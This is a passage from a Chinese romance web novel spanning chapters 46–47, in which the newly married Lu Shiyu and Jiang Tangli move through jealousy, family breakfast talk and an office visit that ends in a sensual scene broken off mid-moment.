陆时聿看了眼中控屏上的时间,“那现在” “回去睡觉!” 眼看她就要站起来,陆时聿抬手挡在她头顶:“慢点。” 将她抱下车,双脚刚一着地,江棠梨就抱着他的胳膊往门口拽:“快点,都一点多了!” 经过院子,看见她那蹑手蹑脚的动作,再想到她在舞池里的肆意洒脱,陆时聿垂眸失笑一声。 到了楼梯口,陆时聿从后面拉住她,“抱你上去。” 抱着哪有她自己跑上去快? 可是他刚刚丝毫不是询问的语气。 迁户口要用着他,办增驾有他的话,效率肯定也会更高。 真是住人屋檐下,不得不低头哇。 江棠梨双手一伸:“抱吧。” 一副视死如归的模样。 陆时聿单手将她抱起后,没有立即上楼,而是仰起脸问她:“除了我以外,还有别人这么抱过你吗?” 江棠梨眼睛一睁:“当然没有啦!” “那刚刚从后面抱着你开车——” 不等他说完,江棠梨就锤了他一下,“想什么呢!” 醋是酸的,但是氤到了眼底,就变成了冷的。 陆时聿凉着眉眼看了她一眼:“你说所有的第一次都给了我——” 后面的话被江棠梨用手给捂了回去。 她一边做出“嘘”声的动作,一边警戒地盯着二楼走廊的方向。 一直到了三楼,江棠梨才把手拿下来,只是不等陆时聿开口,她就先质问上了。 “你就不怕把爸妈吵醒啊?” 他为什么要怕? 陆时聿哼出一声气音:“你是不是忘了我是你江家名正言顺的女婿?” 江棠梨还没有被他放下来,低着头,怔怔地看他两秒后,突然笑出“噗嗤”一声。 不等陆时聿皱眉,江棠梨就双手捧住他脸:“陆总,做江家的女婿,对你来说是这么自豪的一件事吗?” 陆时聿手臂忽而一松,江棠梨顿时从他怀里滑了下来。 只是还没等她站稳,唇就被陆时聿吻住了。 滚烫的一个吻,因他灼烈的气息而让江棠梨忘了憋气。 江棠梨被他吻到近乎折腰,风衣的腰带不知什么时候松了,露出她一侧肩膀,星点红痕像盛放的法兰西玫瑰,奔放又艳丽。 感觉到她气息的不畅,陆时聿才松开她。 像是舍不得从她唇上离开,陆时聿的唇还贴着她唇。 胸腔起伏间,他漆黑的一双眼紧锁着瞳孔里的人。 或许是被他讳莫如深的眼神震住了,又或者女人天生的第六感。 江棠梨突然有一种不好的预感。 夜那么静,静得能听见彼此的心跳声。 可是又好像很吵,一颗心惴惴不安的,噗通噗通跳个不停。 就在膝盖逐渐犯软之际,江棠梨从他口中听见了自己的名字。 “江棠梨。” 她名字的三个字被他咬得极重,可是却重不过他语气里的命令。 “说你爱我。” 第46章 “江棠梨。” “说你爱我。” 江棠梨表情一呆。 让她强烈感觉到不安,紧张到背后出汗,等来的却是这句? 是她听错了吗? 江棠梨不确定地眨了眨眼:“你刚刚、说什么?” 是他说的不够清楚,还是她压根就没专心去听? 陆时聿眼底闪过黯淡。 贴着她唇的唇缓缓退开两分,又忽而靠近,双齿一抵。 江棠梨顿时疼出一声“嘶”音,“你干嘛咬人啊!” 他语速很慢,几乎是一字一顿:“说你爱我!” 江棠梨指尖压唇的动作一顿,大脑的反应也像是被宕在了半空。 什么都捋不出来,就觉得他好奇怪。 可奇怪的何止她一个人。 陆时聿也不知自己怎么了,几个小时过去,以为心头的醋意会一点一点散去,可却总会因为她某句话而翻涌出来,以致于他现在急需一点什么来压下他心头的酸胀。 可是她倒好。 平时古灵精怪的像只狡猾的狐狸,到了关键时候却往草丛里一窝,成了一动不动的小兔子。 陆时聿目光锁在她脸上:“下午送我的走的时候,不是说的挺顺口吗,现在又不好意思了?” 可当时是事出有因,现在无缘无故让她说,哪好意思说出口啊! 江棠梨瞥他一眼。 黑漆漆的一双眼,虽亮却深,根本辨不出真实情绪。 江棠梨都想戳他胸口问他一句:你知道现在几点了吗? 大晚上的不睡觉,跟个三岁小孩似的,追着她要这些甜头。 余光剜他一眼后,江棠梨脸一偏,“哼”了声:“短信的事还没跟你算呢!” 说完,她在他怀里突然一转身。 陆时聿就这么看着她躺到了床上,甚至连风衣都没脱就拉着毯子盖到了身上。 陆时聿是真的被她气笑了。 没让她说的时候,又是比心又是「爱你」的。 让她说了,又开始跟他翻旧账岔开话题。 陆时聿站在床尾,看向她因为睡到床边而在身后留出的一大片的空荡。 “衣服不脱就睡?” 见她眼睛一闭不理人,陆时聿无奈叹气后,绕到床里侧。 躺下后,陆时聿扭头看过去。 从和她睡在一张床上后,她从未给过他后背,哪怕是熟睡之后,也会像只黏人的奶猫似的,不是贴在他身侧,就是窝在他怀里。 可是现在呢,恨不得离他两米远。 不止人远,就连她枕的那只枕头都被她拉远了。 就因为让她说一句爱他? 陆时聿掌心在身边拍了拍:“过来。” 听得江棠梨直撇嘴。 一天到晚就会命令人。 不就比她大几岁吗,还真以为自己可以当她的老父亲了? 本打算纹丝不动,可一想到自己今晚骗了他,他还送了辆骑士15世给她 江棠梨不情不愿地往后挪了一点。 “再过来一点——” 吆五喝六的。 江棠梨小脾气瞬间就被引爆了,肩膀一歪,扭头瞪过去:“你不能自己过来啊!” 陆时聿:“” “别以为自己是个总就了不起,我们江家三个总呢,你出去问问,哪个舍得用这种语气跟我说话!” 光说不解气,江棠梨抬脚搡在他腿上:“下去,我的床不欢迎你!” 本来陆时聿还因为她的前两句自我反省,但是刚刚这一句 “不欢迎我欢迎谁?”他两臂支起,缓缓起身:“你给我说一个出来。” 江棠梨真要生了气发了火,那可是六亲不认的。 “反正不是你姓陆的!” “那姓什么,”他眉眼不动声色地浮上戾色:“楚吗?” 江棠梨嗓子里一噎。 天呐,这都什么陈年老醋了,他竟然还在吃。 满腹的气性没了,江棠梨只觉得想笑。 “陆时聿,”她坐起身,勾着肩膀看他:“你几岁了?” 见他不说话,眉眼却沉得厉害,江棠梨不禁起了逗他的心思。 鼻子一囊,手一捂:“什么味儿啊,好酸。” 陆时聿面不改色:“醋味。” 他竟然一点都不藏。 江棠梨笑得肩膀直抖:“所以大半夜的不睡觉,你到底是想酸死谁?” 或许是自己的笑衬得他表情愈加得冷。 江棠梨这才感觉到裹于他周身的冷气压。 笑就这么僵在了嘴角。 大脑飞速运转间,突然想起他那句「说你爱我」。 难不成是因为没能从她嘴里听到答案才有了这后面一连串的负面情绪? 找到了突破口,江棠梨嘴角的笑差点没压住。 只是没想到,还没等她开口—— “不然下次我也去酒吧,若是有女人——” “你敢!” 强硬的语气吼出来的两个字,加上她急转而下的表情,不仅成功压下了他满腔的醋意,也轻而易举地驱散了他心头所有的阴霾。 陆时聿眼尾弯出今晚最为愉悦的一个笑,俯身凑近她:“我有什么不敢的?” 江棠梨丝毫没有被他的话拿捏又或者震慑住。 她手指一指,嘴角一弯,“你敢招惹一个女的,我就能招惹十个男的!” 陆时聿万万没想到她会拿这种话来威胁他,一时怔住。 更没想到,上一秒还放狠话的人,突然又抬手勾住了他的脖子。 “我这个人呢,一向不喜欢回头看,所以,”她“啵”的一声亲在他唇角:“那个姓楚的醋,陆总真的没必要吃。” 这话听着像哄人,可若是细品 只是没等他品出具体来,怀里沉了几分重量。 江棠梨压着他往后躺:“想听那三个字啊?” 她有一双极其妩媚的眼睛,眼尾轻挑的时候,总会带出一股漫不经心的慵懒,被她用这样的一双眼居高临下地看着,只觉得整个人无力招架。 可这种感觉到底是来自于想从她口中听到的「我爱你」,还是她眼神里的撩拨,又或者她手指的作弄。 期待值在他眼底攀升,搂着她腰的手渐渐收紧之际—— 世界上最好听的三个字,混着她吐字时温热的气息,齐齐往他耳廓里钻,还有她湿热的舌尖,一下又一下地舌忝弄他的耳垂。 长长一道吐息后,陆时聿闭上眼。 以至于他错过了江棠梨眼底闪过的狡黠。 像是一瞬间,耳边的热息没了,压在他胸口的重量也突然一轻。 陆时聿睁开眼,刚一抬头,就见她捂嘴打了个哈欠。 以为这个哈欠结束,她就会重回自己怀里,结果却见她往旁边一趟。 虽说和自己只隔了不到半臂远的距离,可陆时聿哪里会满足于此。 他没有像之前那样让她过来,而是主动靠了过去。 “宝贝——” 余下的话被江棠梨精准捂在指腹下,她眼睛闭着,眼睫轻颤:“好困哦老公~” 最后两个字,成功击垮陆时聿所有的难耐。 他轻抬起江棠梨的头,手臂穿过她后颈,将人抱到了怀里。 “以后不许离我那么远,也不许背着我睡,听见了吗?” 看似强硬的话,却被他软着调子说出来。 江棠梨在他怀里悄悄睁开眼,刚一看见他下巴,额头就落了一个吻。 “睡吧。” 这就睡了? 这人怎么就不多说两句软话磨磨她,又或者什么话都不说,强势吻住她 就这么抱着她睡了? 还是说,她刚刚撩他撩少了,没撩起来? 一阵不可置信的迟疑后,江棠梨轻轻晃了晃他的腰。 “老公” 等了好几秒,才听到他低低“嗯”了声。 像是本能反应,而非真的在应她。 江棠梨盯着他安静的眼睫看了会儿,不相信似的,又抬手在他眼前晃了晃。 真的一点反应都没有。 美人在怀,他竟然能入睡得这么快? 气得江棠梨攥着她的小拳头在他眼前虚晃了一下。 四月的天,五点一过,天边就蒙出了一层灰白。 一夜辗转难眠的江祈年,起了个大早。 周温乔挽着他的胳膊,两人刚一走出大门,就被对面停着的一辆庞然大物震在了原地。 “这、这谁的车,怎么停咱家门口了。” 周温乔看了眼车头:“是辆新车,还没上牌。” “梨梨的?” 两人对视一眼后,去了车库。 卷帘门缓缓上掀,江祈年一眼横扫后发现,“梨梨那辆奔驰不在。” 周温乔轻笑一声:“那估计是时聿的了。” 江祈年和她的关注点可不在一条直线上。 “两人昨晚十二点四十才回来。” 周温乔没懂他意思:“所以呢?” 回想昨晚两人的表情和动作,江祈年眼角渐眯,“怕是咱们那好闺女不是从陆家来的。” 周温乔轻笑一声:“那还能从哪来?” 江祈年低头看她:“说不好被人从酒吧里逮回来的!” 周温乔先是一愣,继而摇头:“不会的,梨梨不至于那么没有分寸。” 有没有分寸,一问便知。 七点半,周温乔见陆时聿只身一人从楼上下来。 “梨梨还没起吗?” 陆时聿点头:“让她多睡会儿。” 都把人从酒吧里逮回来了,不见他告状不说,竟然还这么护着。 江祈年不露声色,像是随口一提:“门口那辆车是你的?” 陆时聿说:“是送给梨梨的。” 江祈年皱眉:“她那驾照哪能开得了那车。” “增驾就好,也不是很难。” 陆时聿走在江祈年身侧,随他进了餐厅,也顺着刚刚的话题提到了迁户口一事。 江祈年愣了一下,“迁、迁户口?” 避免他作为一个父亲而多想,陆时聿说:“增驾的话要在户籍所在地,把户口迁过去更方便办理。” 周温乔招呼他坐,继而拍了拍江祈年的手背:“俩人结婚证都领了,日后早晚是要在一个户口本上的。” 话是这么说没错,可一想到养了这么大的闺女真就跑到了别人家的户口本 江祈年却也只能在心里叹气:“行吧,回头你把户口本找出来给他们。” 话刚一落音,江棠梨打着哈欠走进来。 陆时聿扭头一眼后忙起身,结果手还没把椅子抽出来,腰就被江棠梨抱住了。 “你怎么起来都不喊我啊” 似乎是没想到她会在父母面前对自己做出这么亲密的举动,陆时聿垂在身侧的手僵了一下,但是也只是短瞬就抬了起来,一手回抱住她,一手护在她后脑勺,“想让你多睡会儿。” “那你还说让我陪你去公司。” 咕哝着的腔调里,有撒娇,却也有埋怨。 但是却被江祈年听出了其中深意。 他侧头在周温乔耳边:“我说的没错吧,就是从酒吧里带回来的。” 周温乔看他一眼。 以为她没懂,江祈年又低声道:“不然会把她带去公司——” 后面的话被周温乔拽他袖子的动作止住。 抬眼,见两人坐到了餐桌前。 “想吃什么?” 江棠梨困得没有一点精气神,摇了摇头:“没胃口。” 她软塌塌的模样,让陆时聿本就温声细语的音调更加轻缓。 “今天还是别去公司了——” 不等他说完,江棠梨就扁嘴摇头:“不要,我得去看着你。” 江祈年听愣住。 不是人陆时聿看着她吗,怎么还反过来了? 视线再落到女儿身旁那张脸,满脸的纵容无度。 甚至连手里的筷子都放下来了,还说:“那不然我们现在就走?” 江棠梨下巴一点,两条胳膊一抬:“抱抱。” 陆时聿出乎意料到一怔,扭头—— 江祈年慌忙别开脸,一副我什么都没看见的表情。 倒是周温乔,朝他浅浅一笑后,看向女儿:“人家时聿是去公司忙公事,你跟去像什么样子。” 不等江棠梨开口,陆时聿就说了声没事,“办公室里有休息间。” 扭头,见她一身的懒劲,身上还穿着他叠放在床尾的浴袍。 若不是有长辈在,陆时聿真想将她抱回楼上换身衣服。 “你等我一会儿,我上楼给你拿身衣服下来。” 周温乔忙起身:“我去吧。” 陆时聿却说不用:“正好我手机还在楼上。” 见他转身出去,江祈年朝斜对面“咳”了声,“你跟我说实话,昨天那么晚回来,是不是去酒吧了?” 就知道瞒不过他。 但是江棠梨现在困得无心也无力再去编理由找借口,索性也不藏了。 “去了,怎么了?” 还好意思问他怎么了,江祈年眉眼一沉:“你之前怎么跟我说的?” 之前她还没嫁人呢! 说到嫁人,江棠梨嘴角顿时抿出笑。 江祈年以为她又想说软话磨人:“你少跟我来这套啊,你可是答应过我的,说会把酒吧处理掉。” 江棠梨却一脸为难地摇了摇头:“晚了,处理不掉了。” “什么意思?” 江棠梨眼睫扑簌扑簌地眨了两下:“因为现在陆爷爷非常支持我的酒吧事业。” 都把注意打到陆老爷子身上了。 江祈年冷呵一声:“你少拿陆老爷子作你的挡箭牌。” 江棠梨知道自己多说无用,“那不然你自己问陆爷爷。” 江祈年一时哑口,一直到眼睁睁地看她被陆时聿领出门,看着陆时聿将人抱上那辆黑色铁疙瘩。 尽管他脸上挂着温和的笑,朝车里的两人挥了挥手,可随着车头转弯,车轮碾过带出一阵风,江祈年脸上的表情可谓是瞬息万变。 眼看他身子一转,周温乔忙挽住他胳膊:“行啦——” 一道裹含无数情绪的“哼”音打断她话:“牛了,现在嫁人了,都开始拿着夫家的人来压她亲爸一头了,真是白疼了她这么多年!” 周温乔听了不禁失笑:“谁让你老揪着她那酒吧不放。” “我这不是为她的安全考虑吗,一个女孩子,干什么不好,非要开什么酒吧,那是个正经的职业吗?” “这不是有时聿吗?” 江祈年双脚一停,“那家伙能一天24小时守在她身边吗?” 周温乔眼尾轻轻一扬:“那你这个做父亲的又能一天多少个小时守在她身边呢?” 江祈年被她堵得哑口无言。 周温乔挽着他的胳膊往前走:“你总说她长不大,可你有没有想过,放手才能让她真正地成长呢?” 江祈年嘴角抬一缕苦涩,“还要怎么放手?” 户口都要从他江家迁走了。 “这你就要学一学人家陆时聿了。” “学他?”江祈年好笑一声,“学他什么?” “温和又强势,管她又惯她。” 周温乔一语道破她看到的全局:“梨梨现在就像他手里的风筝,看似被他放飞得很远——” 江祈年哼出一声不以为然的笑:“他就不怕风大,把风筝卷走喽?” “不看风向自然收不回来,可若是风向都被他掌握在手里呢?” “他还有那种本事?” “有没有,你难道看不出来吗?” 捕捉到她眼里的意味深长,江祈年突然想起昨夜他亲眼看见陆时聿握着女儿的手一瞬收紧而涨出的血管青筋。 可即便那样,也不在他这个老丈人面前挑破一个字,一副他的人他来管,谁都不能插手也不允许任何人插手的架势。 不像他江祈年,管起人来,除了唠叨,一点实质性的措施都没有。 想到这,江祈年恍然大悟:“他该不会是用一个巴掌两颗枣的伎俩吧?” 周温乔无奈他的后知后觉,手在他肩膀拍了拍:“把人从酒吧里领回家,还能再送那么大一惊喜,你觉得呢?” 但是江祈年还有件事没捋明白:“那刚刚梨梨又说去公司看着他?” 周温乔笑得一脸深意:“谁看着谁,又有什么区别呢?” 一切了然后,江祈年除了对女儿那看似精明实则三岁大孩子的心思堪忧之外,还有对陆家那位手段的佩服和后怕。 “把女儿嫁给这样的人”一时之间,江祈年不知是该喜还是该忧了。 倒是周温乔,丝毫不觉担心。 “有时候,看似掌握全局的那一个,才是最忐忑的那一个。” 因为太在意才会花那么多的心思。 而一段感情里,这样的一方才往往是情感弱势的一方。 的确,早上醒来后,陆时聿做的第一件事就是反思自己昨晚的种种行为。 他没想到一个醋的后劲会这么大,竟然会让他失去一贯的从容淡定,说出那些不可理喻的话来。 扪心自问,他自己最不喜欢的就是揪着一件事盘根究底。 不止他,相信没有一个人会喜欢这种。 那她呢? 会不会一觉醒来,回想起他昨晚的种种行径而对他心生排斥,甚至厌恶。 这两个词在他脑海反反复复。 直到早上她软软糯糯地偎在他怀里,悬着的心才一点一点往下落,可一想到她整个人还睡意惺忪,心脏便再也落不回实处了。 以至于车开半路,他余光不知多少次瞄到旁边,可是旁边的人睡得沉,让他连道歉的话都无从说起。 一直到车驶入地下车库。 江棠梨身上还是那件走前懒得换的睡袍,所幸直达顶层的电梯和员工电梯是隔离开的。 短暂迟疑后,陆时聿打开车门绕到副驾驶。 本不想吵醒她,结果刚把人从车里抱下来,江棠梨就醒了。 眼睛困得睁不开,眯出一条缝看了眼周围,她唔了声,“到了吗?” 陆时聿刚一点头,就听她惊出一声:“我衣服还没换!” 所有的困意都没了,她揪着领口:“你不是给我带衣服了吗?” “现在换?” “当然啦,不然被别人看见像什么样子!” 见她又满眼偷感地往四周瞄, 陆时聿笑出一声,他打开后座车门:“衣服在那个黑色袋子里。” 江棠梨看了眼车窗玻璃,黑漆漆的,可是这车就是个显眼包。 “那你在外面守着,别让人靠近。” 陆时聿点头:“当然。” 让江棠梨没想到的是,包里不仅有衣服,还有化妆品。 车窗落下,江棠梨唇角笑漪轻牵:“没想到陆总这么细心。” 能夸他,是说明昨晚的事彻底翻篇了? 只是不等陆时聿再细看她表情,车窗又升了上去。 等到车门从里面打开,看见她几乎全妆的一张脸,陆时聿胸腔被震了一下。 啡金色眼影漫在眼窝处,带着点幻彩紫的色调,有一种恶而不知的美感,再加上她身上的这身。 黑色西装外套里是一件鱼骨束腰绑带抹胸。 让她本就张扬放肆的气质又添了几分神秘和妩媚。 “好看吗?” 陆时聿不知道该不该用好看来形容,但是目光却久久停留在她身上移不开。 突然想起第一次在酒吧看见她。 红唇藕臂,一条银色紧身抹胸短裙裹出她的曼妙。 当时她也是化了这样的小烟熏妆。 当时,他胸腔也被震了一下。 但是他没有深究那份震动,只是觉得她身上的那条裙子太短。 如今再回想 耳边突然响起上次在Lounge酒吧,她问他的那句—— “你对我是一见钟情啊?” 第47章 都说一见钟情钟的是皮不是骨。 陆时聿一直以为自己不会那么肤浅。 原来不是。 他自问,如果爷爷给他找的是一个长相足够平庸的女孩,他是否还会像当初一样,一口应下这门婚事。 如果对方拒绝这桩婚事,他又是否会像对待她江棠梨一样,努力争取。 也会像纵容她江棠梨一样,无底线地纵容那个人的各种小脾气吗。 也许他会在日后的相处中被那个人的内在所吸引,可绝不会让他分泌出这么多的肾上腺素和多巴胺,让他有如此强烈的身体反应和本能的冲动。 偏偏是她江棠梨,是她江棠梨的出现,让他这个一向重理性思考和精神层面的人,开始享受感官的体验,开始甘之如饴地受荷尔蒙的驱使。 陆时聿缓缓走到她面前。 将她低在西装里的胸衣往上拉了两分,又将西装的纽上一颗:“胸衣外穿,纽扣都不扣,谁给你的胆子?” 竟然还把责任推她身上了。 “这不是你给我拿的吗?” 是他拿的没错,但是他拿的也不止这一套。 “那条蓝色连衣裙怎么不穿?” 眸光乱转间,瞥见他身上的黑色西装,江棠梨眉梢一抬:“人家不是想和你穿成情侣装吗?” 倒是会给自己找理由。 但是将「情侣装」在心里品了品,陆时聿唇角又不禁扬了几分。 “以前穿过情侣吗?” 天呐! 这人真是无时无刻不想着套她的话。 江棠梨腰身一弯,把脸凑到他垂落的视线正下方:“陆总,要不要给你买把尺子?” “尺子?”陆时聿皱眉。 “量一量你心眼的大小啊!” 陆时聿偏开脸笑了。 可是当他视线再收回来,眸光里因为盛着她的脸而多了几分专注与认真。 “江棠梨,”他很好奇:“你第一次见到我是什么样的感觉?” 第一次见到他? 江棠梨突然掩嘴笑了声:“那我说了你可不许生气。” 本来还很期待,结果听她这么一说,陆时聿觉得这印象分怕是不高。 “及格了吗?” 江棠梨搂住他腰,仰头看他:“你说的是长相还是给我的印象啊?” 陆时聿听出来了:“长相及格,印象不及格?” 江棠梨撇了撇嘴:“这可是你说的。” 倒是会把自己摘干净。 但是让陆时聿想不通的是:“为什么会对我印象不好?” 据他所知,外界对他的评价还算不错。 见她不说话,陆时聿突然想起来:“我说的第一印象可不是你跟踪我那次。” 江棠梨惊讶出一声:“你知道我跟踪你?” 陆时聿偏开脸笑了:“不然我为什么会把车开到你们家门口?” 江棠梨茫然地眨了眨眼:“为什么” 不是为了弄她难堪吗? 陆时聿错开她唇上珠光质感的裸色唇膏,亲在她嘴角:“机场那么远,你一路跟过去还好,但是让你一个人回来”他停顿了一下:“我不放心。” 江棠梨:“” 天呐,当初她到底是从哪里看出来他古板又无趣的呀。 这人明明好会哄人。 可是在那天之前,他们都还没有正式见过面,他干嘛那么关心她的人生安全。 难道他对她的一见钟情不是从酒吧开始的,是在那天之前? 但是第一次见他的那场晚宴,他们明明都没说过话,甚至连眼神都没有交换过。 进了电梯,江棠梨还在仰头看他。 “怎么了?”陆时聿皱眉却轻笑:“怎么这么看着我?” 爸爸说这桩婚事是他们陆家提出的。 当时她想破脑袋都没想通,如今再细细往回捋 “你第一次见我是正月初五那天晚上吗?” “不然呢?”见她面露茫然,陆时聿略感意外:“你难道不知道那天的晚宴是爷爷安排的?” 江棠梨愣住了。 “真不知道?” 江棠梨摇了摇头:“爸爸只说是一个朋友的邀请。” 当时她有细问,好像又被妈妈说了什么分散了注意力。 如今再回想,才发现都在刻意瞒着她。 不过这些对于陆时聿来说已经不重要。 他紧了紧被他牵在手里的手,岔开话题:“饿不饿?” 然而江棠梨却揪着不放:“所以那天晚宴的目的,你事先是知情的?” “当然,”陆时聿点头:“不知情的话,我不会去。” “那在那天之前,你有看过我的照片吗?” 陆时聿被她打破砂锅问到底的架势听笑了。 “还需要看吗,你在圈里的名声这么响。” 江棠梨当然知道自己名声很响,但都不是什么好名声,不像他陆时聿,人人口中的绅士君子。 可话说回来,都知道她名声不好了还答应这门婚事,可见他有多喜欢她,哪怕当时她还把对他的排斥表现的那么明显,他也没有知难而退。 本来这趟回来还想和妈妈请教拿捏男人的技巧,现在看来,哪还需要拿捏,简直手到擒来了呀! 这个信息素来得太过惊喜,被强压在嘴角的笑痕偷跑到了两只肩膀。 偏偏她肩膀被陆时聿搂着,感觉到掌心下的抖动,陆时聿低头看她,只是还没来及问,电梯门开了。 陈敬已经等在门口:“陆总、太太。” 会议室的双扇门敞开着,就在出电梯不远的走廊里。 从门口经过时,陆时聿步子没停,“先送你去办公室。” 江棠梨往里瞥了眼,发现偌大的会议桌一圈坐了不少人。 江棠梨深知自己这趟过来的目的。 她站住脚:“你先去开会吧,我自己能找到。” 表情一本正经,声音更是温淡。 想起晚宴上见到她的第一面,也是这般的温婉端庄。 只可惜,狡猾的本质一戳就破。 陆时聿手指走廊尽头,“进门厅左手边是我办公室,右手边是接待室,休息间在接待室里,你先去补个觉,我这边大概一个小时结束。” 江棠梨端着一张和她的妆容完全不匹配的端庄,“知道了。” 乖的都不像她了。 陆时聿抬手在她发顶揉了揉,用只有她才能听到的声音:“很像第一次见到的你。” 江棠梨看着他转身的背影,却怎么都想不起来初五那天的自己穿的是什么样的裙子,梳的又是什么样的发型,但是那种场合下,她肯定是优雅的、柔美的,不是她江棠梨的江棠梨。 可是他喜欢的是装出来的江棠梨,还是最真实的江棠梨呢? 躺在那张一米八,略显空旷的双人床上,江棠梨一点一点地回忆着这段时间的点滴。 不知是不是吃了跳跳糖的原因,唇齿间的甜丝丝缕缕地往她脑海里钻。 甚至连晚宴当天对他的印象都裹了一层糖丝。 陆时聿开完会回来,第一件事就是来了休息室。 房间内每一件家具的线条都极为的沉稳内敛,却也了无生机,如今多了一个她,突然就鲜活了起来。 陆时聿站在门,看着床上的人。 怀里抱着枕头,不知是把枕头当成了他,还是为了遮挡脱了外套后胸前的春光。 走近后,才发现她嘴角微微上翘,像是在笑。 看得陆时聿也不禁勾起了嘴角。 四月的天,温度虽适宜,可她身上的那件鱼骨抹胸都遮不住肚脐。 若是给她盖得厚了,怕是连抱在怀里的枕头都要被她扔在一旁。 在休息间里环视两圈后,陆时聿索性脱下身上的西装马甲盖在了她腰上。 门轻开轻合后,陆时聿回到办公室。 “陆总,陈主任和规划局的几位领导已经到楼下了。” 陆时聿点头:“你去接一下。” 每次回京市,陆时聿的忙碌都不会停留在办公室,而是穿梭于会议室与接待室以及研发工厂。 虽然今天会面的几位领导都非常重要,但重要不过休息间里睡着的人。 在电梯门口个和几位领导一一握手后,陆时聿把人领去了会议室。 四十分钟后,陆时聿再回来,见床上的人还是之前的睡姿。 安静的房间几乎能听见她均匀的呼吸声。 陆时聿轻步走到床边,静静地看了她一会儿,不知不觉竟也把他的困意给看了出来。 但是二十分钟后,他还要去楼下开一个短会。 若是平时,陆时聿会利用这二十分钟短暂休息一会儿,但现在,他却只想把这二十分钟充分利用而腾出更多的时间。 再出办公室,陆时聿朝陈敬挥了下手:“通知下去,会议提前十五分钟。” 所有的时间都被充分利用后,陆时聿只一个上午就忙完了原本一天的工作。 “陆总,需要帮您订餐厅吗?” 陆时聿说不用,“回海市是几点的飞机?” “傍晚五点。” 回去的时间早在来时就已经定好了,当时还以为时间安排提前,如今看来倒是迟了。 陆时聿松了松领带:“你先出去吧。” 半杯水的功夫,等他再进休息室,却见江棠梨还没醒。 能睡这么久是陆时聿没有想到的。 走到床边,陆时聿将拧松的领带抽掉一扔,刚好扔在了江棠梨脱下的西装外套上,一个是重锻的黑,一个是桑波段的黑,同为黑色,视觉上却不同,可这么错叠盘落,倒有着几分矛盾的美。 陆时聿侧身,和江棠梨面对面地躺着。 一只胳膊屈着压在脸下,另只胳膊却抬着,手指在半空悬停了好一会儿才轻落在江棠梨熟睡的脸上。 以前他最不喜欢的一个字就是「懒」。 晚起是懒,本该今日处理的工作无论什么原因推迟到第二天也是懒。 后来认识了她,才知道原来一个人是可以睡到黑白颠倒的,可是怎么就从来没把她和「懒」这个字联系到一块呢? 甚至还会有一种「谁都不许打扰她再让她睡一会儿」的奇怪心理。 而他自己,也在她出现之后,多次将本该当日完成的工作推到了明天、后天又或者大后天。 却从来没在心里埋怨过,甚至还会觉得这种懒带了几分松弛的享受。 这是走上坡路的大忌。 却又忍不住地想要停一停,只是因为身边多了一个人,多了一个,想和她一起看风景的人。 “江棠梨” 他唇角一勾,在他的无声笑意里,三个字被他轻念出来,声音有疲惫的懒音,也有未知名情绪的欢愉。 抽掉她怀里的抱枕,陆时聿将她胳膊放在了自己的腰上。 手刚一松开就见她主动挪了过来,轻搭在他腰上的胳膊一点一点圈到他后腰,一直到把脸埋到他怀里后,将他抱紧的那只胳膊才逐渐松了力道。 轻抵在她额头的唇角上扬的好一会儿,才随着他呼吸变均匀而一点点平下去。 而在他熟睡没多久,江棠梨却醒了。 脚背绷紧,想刚伸一个懒腰,却在仰头时愣了一下。 督促工作怎么还把人督促到床上来了? 搂在他腰上的手刚一攥紧手指下的衬衫布料,却又在晃他的前一秒停了动作。 是忙累了吧? 想来应该是,毕竟昨晚他也没睡几个小时,早上起得又比她还早 仰头看了他一会儿,结果刚一抬手,指尖还没碰到他眉骨,突然传来手机的“滋滋”震动声。 吓得江棠梨慌忙缩回手。 脸埋回他怀里的时候,陆时聿也刚好睁开眼。 以为他没发觉,结果额头顺着他亲吻的力道被抬了起来。 “什么时候醒的?” 江棠梨抿了抿唇,刚想说话就见他下巴仰起。 看见他将手机贴到耳边,听见他以极为慵懒的语调说了一声“喂”。 实在是蛊惑人。 江棠梨没忍住,脑袋一勾,下巴一抬,含住了他颈间那块高耸的喉结。 沉沉一道鼻息,来不及克制,更来不及压下,就这么传进了话筒里。 “你干嘛呢?” 江棠梨动作一停,刚想松开,后脑勺却被他掌心扣住。 “说。” 极为压迫和命令的一个字,让江棠梨心脏“砰砰”直跳。 电话那头是楼昭。 “你是不是又回京市了?” 滚烫的呼吸斥在他颈子里,让他不想多说一个字。 “嗯。” “什么时候回来?”楼昭问。 “晚上。” “晚上几点?” 喉结被含着,陆时聿腾不出多余的心思计算时间,他眉心拧出深褶,低沉的声音里全是压抑的克制:“有急事就说,没有就挂。” 江棠梨还第一次听见他这么没有耐心,唇刚一松开,笑声就漫了出来。 就这么传进了话筒,也清晰传进了楼昭的耳朵里。 “大白天的,你可真行!” 说完,电话就被迅速挂断了。 “咚”的一声,手机被撂在了身后的床头柜上。 被扣了这么大一顶莫须有的帽子,陆时聿翻了个身,“睡醒了?” 江棠梨拱了拱腰:“压死人了!” 陆时聿却仿若未闻,低头就要吻上她时,却被江棠梨快了一步地把捂住了唇。 视线抬至她不情不愿的眼睛里,陆时聿皱了下眉,“怎么了?” “都没刷牙!”声音从她捂紧的指缝里闷出来。 陆时聿失笑一声:“所以不给亲?” 见她脑袋直摇,手还捂得更紧,陆时聿低头。 是那件早上刚一打开她衣柜就钻进他眼底的鱼骨式抹胸。 黑色的底,需要细看才能看出上面的暗色豹纹,却又不是那种很寻常的豹纹花型。 在车库看见她换上后,陆时聿还有过后悔,不该把这么一件让人一眼就生出遐想的内衣给带来,现在他不这么想了。 抬头,和那双黑漆漆却又雾蒙蒙的一双眼对上,陆时聿很轻地笑了下,然后问:“真不给亲?” 江棠梨哪里知道他打的坏主意,又是一连几下摇头。 可随着他拨开其中一个罩面,不等江棠梨出声制止,倒吸的一口气从她紧捂的指缝里泄了出来。 清凉的湿漉感滑过,苞)心顿时耸出待放的姿态。 原本捂在嘴巴的手压在了他肩膀。 身体尽头给出的反应让江棠梨推着他肩膀的同时也仰起了下巴。 说不出是还迎还是欲拒。 手臂圈住她勾起的腰肢,陆时聿将她紧紧抱住。 然而唇齿却是松弛的,甚至带着几分好整以暇的姿态,一边听她唇角溢出的声音,一边感受着唇舌间的抖潺。 他不过是想仅仅如此。 但是江棠梨却想要更多。 以至于他刚一松开叼于双齿间她的软肋,手就被她握住了。 陆时聿知道她想要什么,偏偏收着力,不被她的手带去她想要的地方。 他很执着,把脸低在她脸前,又问:“给不给亲?” 可是他疏忽了江棠梨骨子里的倔。 短暂的怔愣和茫然从大脑里闪过后,江棠梨睁开眼,满是潮气的一双眼瞬间就变了底色。 “不给,以后都不给!” 以为自己的威胁足够震慑,结果话音刚落,下巴就被陆时聿用虎口反手卡住了。 